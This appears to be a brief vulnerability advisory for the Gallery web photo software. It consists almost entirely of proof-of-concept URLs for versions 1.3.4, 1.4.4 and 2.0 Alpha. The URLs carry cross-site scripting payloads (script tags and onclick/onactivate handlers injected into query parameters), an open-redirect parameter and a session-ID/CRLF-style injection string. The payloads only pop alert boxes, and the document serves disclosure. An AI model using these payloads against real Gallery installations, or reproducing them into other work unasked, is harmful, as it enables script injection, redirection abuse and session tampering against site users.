Gallery Multiple Remote Vulnerabilities

Gallery Multiple Remote Vulnerabilities

The following examples are available:

Gallery v1.3.4-pl1:

http://www.example.com/gallery/add_comment.php?set_albumName=Eros&index=1"><script>alert()</script>
http://www.example.com/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3"><script>alert()</script>&slide_full=0&slide_loop=0&slide_pause=3&slide_dir=1
http://www.example.com/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&slide_full=0"><script>alert()</script>&slide_loop=0&slide_pause=3&slide_dir=1
http://www.example.com/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&slide_full=0&slide_loop=0"><script>alert()</script>&slide_pause=3&slide_dir=1
http://www.example.com/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&slide_full=0&slide_loop=0&slide_pause=3"><script>alert()</script>&slide_dir=1
http://www.example.com/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&slide_full=0&slide_loop=0&slide_pause=3&slide_dir=1"><script>alert()</script>
http://www.example.com/gallery/search.php?searchstring=%22%20onclick%3D"alert%28%29"

Gallery v1.4.4-pl2:

http://www.example.com/gallery/login.php?gallery_popup=true&cool=rafi&username=/*%22*/%20onactivate%3Dalert%28%29%3e<plaintext>
http://www.example.com/gallery/do_command.php?set_fullOnly=on&return=http%3A%2F%2Fwww.google.com&cmd=

Gallery v2.0 Alpha:

1)http://<valid host>/g2/main.php?g2_controller=comment:AddComment&g2_form[formName]=AddComment&g2_itemId=<valid item>&g2_form[subject]=[img]javascript:alert()[/img]&g2_form[action][preview]=preview
2)http://www.example.com/g2/main.php?g2_return=www.example.com%2Fg2%2Fmain.php%3Fg2_view%3Dcore%3AShowItem%26g2_itemId%3D7150%26g2_GALLERYSID%3Dbe869b98355e8d445c8ec8f97cb343da%5C%5C0%5C%5C00%5C%5C%5C%5C0%5C%5C%5C%5C00%3B%250a%250d%250a%250drafi&g2_view=core:UserAdmin&g2_subView=core:UserAdmin